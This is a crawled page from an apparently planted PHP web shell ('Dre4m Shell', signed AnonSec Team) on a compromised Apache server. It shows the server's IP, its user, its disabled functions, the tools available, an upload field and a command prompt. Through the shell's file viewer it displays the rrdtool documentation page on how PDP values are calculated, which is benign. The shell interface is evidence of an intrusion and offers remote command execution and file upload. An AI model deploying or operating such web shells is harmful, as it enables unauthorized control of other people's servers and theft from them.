Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.149.24.49
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/proc/3/task/3/root/proc/3/cwd/proc/3/cwd/usr/share/doc/rrdtool/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/proc/3/task/3/root/proc/3/cwd/proc/3/cwd/usr/share/doc/rrdtool/html/rrd_pdpcalc.html
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>rrd_pdpcalc</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>

<body>



<h1 id="NAME">NAME</h1>

<p>PDP calculation explanation - PDP inner calculation logics with an example by Tianpeng Xia</p>

<h1 id="DESCRIPTION">DESCRIPTION</h1>

<p>This article explains how PDP are calculated in a detailed yet easy-to-understand way, with an example.</p>

<h1 id="Refreshing-some-basics-about-PDP">Refreshing some basics about PDP</h1>

<h2 id="Fundamental-knowledge">Fundamental knowledge</h2>

<p>If you have not read the tutorials or man pages either on the official site or those by others, then I strongly encourage you to do so. As said in the description, this article will only explain how a PDP is calculated, but not the definition of it. So please read the following materials to get a basic understanding of PDP:</p>

<p><a href="http://rrdtool.vandenbogaerdt.nl/process.php">http://rrdtool.vandenbogaerdt.nl/process.php</a> - By Alex van den Bogaerdt. This article explained PDP in a very detailed and clear way, however, it does not explain the &quot;normalization process&quot; in its &quot;Normalize interval&quot; section in the right way( as opposed to the official version I confirmed with @oetiker himself). The flaw can be easily seen in the bar charts, discussed in the &quot;Calculation logics&quot; section.</p>

<p><a href="https://oss.oetiker.ch/rrdtool/doc/rrdcreate.en.html">https://oss.oetiker.ch/rrdtool/doc/rrdcreate.en.html</a> - This one is on the official site. Actually it&#39;s the manual page for &quot;rrdcreate&quot;, and it reveals what&#39;s under the hood with regard to PDP calculation in its &quot;The HEARTBEAT and the STEP&quot; section.</p>

<p>The text graph by Don Baarda provides a vivid explanation on how <b>UNKOWN</b> data are produced and how heartbeat value can influence in the sampling. Unfortunately, it fails to give a clear method by which PDPs are calculated.</p>

<p><a href="https://oss.oetiker.ch/rrdtool/tut/rrdtutorial.en.html">https://oss.oetiker.ch/rrdtool/tut/rrdtutorial.en.html</a> - Another detailed official tutorial by Alex van den Bogaerdt. Similarly, it only provides examples with data evenly and exactly distributed according to the step set.</p>

<p>If you don&#39;t like doing experiments or care about the inner mechanics that much, you can just stop here and give more attention to more practical topics like graph exports or command manual. But if you are the sort of people like me who just care as much about the calculation logics, please read on.</p>

<h1 id="Calculation-logics">Calculation logics</h1>

<p>Here begins the core part of this article. In the following content of this section, I would like to give two versions of calculation methods, one by Alex van den Bogaerdt and the other by @eotiker.</p>

<p>To provide an ASCII-friendly explanation, I will explain both versions with the char below instead of a real image.</p>

<pre><code> |
 |    (v1)
 | _______                        (v4)  (v5)
 | |     |           (v3)        ____________
 | |     |        ______________|     ||   |
 | |     |        |            ||     ||   |
 | |     |        |            ||     ||   |
 | |     |   (v2) |            ||     ||   |
 | |     |________|            ||     ||   |
---------------------------------------------&gt;
 0 1     3        7            17     20   21</code></pre>

<p>The X axis means time slots( each second denotes one slot) and the Y axis means the value.</p>

<p>Let&#39;s make everything a little clearer:</p>

<p>- The step is 5</p>

<p>- each PDP gets updated only if a value arrives at or after the last slot of the PDP, for instance, the last slot of the PDP from 16 to 20 is 20</p>

<p>- The heartbeat is 20, so the samples during the entire 7-17 period is not discarded</p>

<p>- At second 3, the first value comes in as v1, and so on</p>

<p>- Second 0 is the origin, and it does not count as a sample</p>

<h2 id="Bogaerdt-version">Bogaerdt version</h2>

<p>As can be seen on this page: <a href="http://rrdtool.vandenbogaerdt.nl/process.php">http://rrdtool.vandenbogaerdt.nl/process.php</a>, after all the primary data are transformed to rates( except for GAUGE, of course), they have to go through a <b>normalization process</b> if they are not distributed exactly according to the step or on well-defined boundaries in time, in the words of the author.</p>

<p>What does that mean? Basically, if all the <b>known</b> (as opposed to an <b>unknown</b> value) data make up at least 50% of all slots during a period, then a PDP is calculated from them.</p>

<p>This version seems to go well until we reach the bar chart part.</p>

<p>According to the ASCII bar chart, we have the following results:</p>

<p>From second 1 on, the PDP of each period( 1-5,6-10, ...) is computed by averaging all the values within it.</p>

<p>So: - the PDP from 1 to 5 is (v1*3+v2*2)/5</p>

<p>- the PDP from 6 to 10 is (v2*2+v3*3)/5</p>

<p>- the PDP from 11 to 15 is (v3*5)/5, since all the values in slots 11, 12, 13, 14 and 15 are the same, which is v3</p>

<p>- ...</p>

<h2 id="The-official-version-also-oetiker-version">The official version( also @oetiker version):</h2>

<p>Using the same chart, this version suggests the following:</p>

<p>- the PDP from 1 to 5 is (v1*3+v2*2)/5</p>

<p>- the PDPs from 6 to 10 and 11 to 15 are the <b>SAME</b>, which is (v2*2+v3*8)</p>

<p>- ...</p>

<h2 id="A-Comparison-and-some-explanation">A Comparison and some explanation</h2>

<p>So we have seen the above two versions and their PDPs from 6 to 10 and 11 to 15 do not comply with each other.</p>

<p>Why is that?</p>

<p>Because the difference between the official version and Bogaerdt version stems from the way they do the calculation for PDP(6-10) and PDP(11-15).</p>

<p>Let&#39;s discuss this in more detail using the above bar chart.</p>

<h3 id="Bogaerdts-version">Bogaerdt&#39;s version,</h3>

<p>PDPs are <b>always computed individually</b> no matter how values arrive.</p>

<p>For example, the value at slot 17 comes after the last slot of PDP(11-15). Also, the immediate previous value before slot 17 is at 7. All the slots from 7 to 17 are assigned v3. Since each PDP is computed individually, PDP(6-10) is (v2*2+v3*3)/5 while the PDP(11-15) is (v3*5)/5.</p>

<h3 id="The-official-version">The official version</h3>

<p>PDPs are <b>always computed in terms of the steps which the next update spans</b>, be it 1 step, 2 steps or n steps; in other words, PDPs may be computed <b>together</b>.</p>

<p>For example, the update at slot 17 spans PDP(6-10) and PDP(11-15) because the <b>immediate</b> previous value is at 7 and 7 is within 6 and 10 , and 17 is after 15. PDP(1-5) and PDP(16-20) are not included since the update at slot 7 has already triggered the calculation for PDP(1-5) and the update at slot 17 comes before the last slot of PDP(16-20) which is 20.</p>

<p>That&#39;s the reason why PDP(6-10) and PDP(11-15) have the same value, (v2*2+v3*8).</p>

<h1 id="An-example">An example</h1>

<p>If you are still confused, don&#39;t worry, an example is here to help you.</p>

<p>Let&#39;s get our hands dirty with some commands</p>

<pre><code>rrdtool create target.rrd --start 1000000000  --step 5 DS:mem:GAUGE:20:0:100 RRA:AVERAGE:0.5:1:10
rrdtool update target.rrd 1000000003:8 1000000006:1 1000000017:6 \
1000000020:7 1000000021:7 1000000022:4 \
1000000023:3 1000000036:1 1000000037:2 \
1000000038:3 1000000039:3 1000000042:5
rrdtool fetch target.rrd AVERAGE --start 1000000000 --end 1000000045</code></pre>

<p>Basically, the above codes contain 3 commands: create, update and fetch. First create a new rrd file, and then we feed in some data and last we fetch all the PDPs from the rrd.</p>

<h2 id="Focus-on-single-steps">Focus on single steps</h2>

<p>In order to provide a detailed explanation, each the calculation process of each PDP is provided.</p>

<p>Below is the output of the commands above:</p>

<pre><code>1000000005: 5.2000000000e+00
1000000010: 5.5000000000e+00
1000000015: 5.5000000000e+00
1000000020: 6.6000000000e+00
1000000025: 1.7333333333e+00
1000000030: 1.7333333333e+00
1000000035: 1.7333333333e+00
1000000040: 2.8000000000e+00
1000000045: nan
1000000050: nan</code></pre>

<p>NOTE: 1000000005 means the PDP from 1000000001 to 1000000005, and so on. For concision and readability, we use only the last two digits, so 05 denotes 1000000005. We choose the type of the data source as gauge because original values will be treated as rates, no additional transformation is needed, see this <a href="http://rrdtool.vandenbogaerdt.nl/process.php">article</a> for detail.</p>

<p>05: 5.2 = (8*3+1*2)/5</p>

<p>10: 5.5 = (1*1+6*9)/10</p>

<p>15: the same as the previous one</p>

<p>20: 6.6 = (6*2+7*3)/5</p>

<p>25: 1.73333 = (7+4+3+1*12)/15</p>

<p>...</p>

<p>45: nan, as the last value is at 42,which does not trigger the calculation for PDP(41-45)</p>

<p>50: nan, why this unknown PDP is shown is explained in this <a href="https://oss.oetiker.ch/rrdtool/tut/rrdtutorial.en.html">article</a></p>

<h1 id="SUMMARY">SUMMARY</h1>

<p>All that said, I hope you get a clear understanding of the inner calculation &quot;magic&quot; for PDPs.</p>

<h2 id="Other-References">Other References</h2>

<ul>

<li><p>A great PowerShell shell script for generating ASCII bar charts: <a href="https://gallery.technet.microsoft.com/scriptcenter/Sample-Script-to-Generate-59c80d4c">https://gallery.technet.microsoft.com/scriptcenter/Sample-Script-to-Generate-59c80d4c</a></p>

</li>
<li><p><a href="https://stackoverflow.com/questions/18924450/rrd-wrong-values">https://stackoverflow.com/questions/18924450/rrd-wrong-values</a></p>

</li>
</ul>


</body>

</html>



Anon7 - 2022
AnonSec Team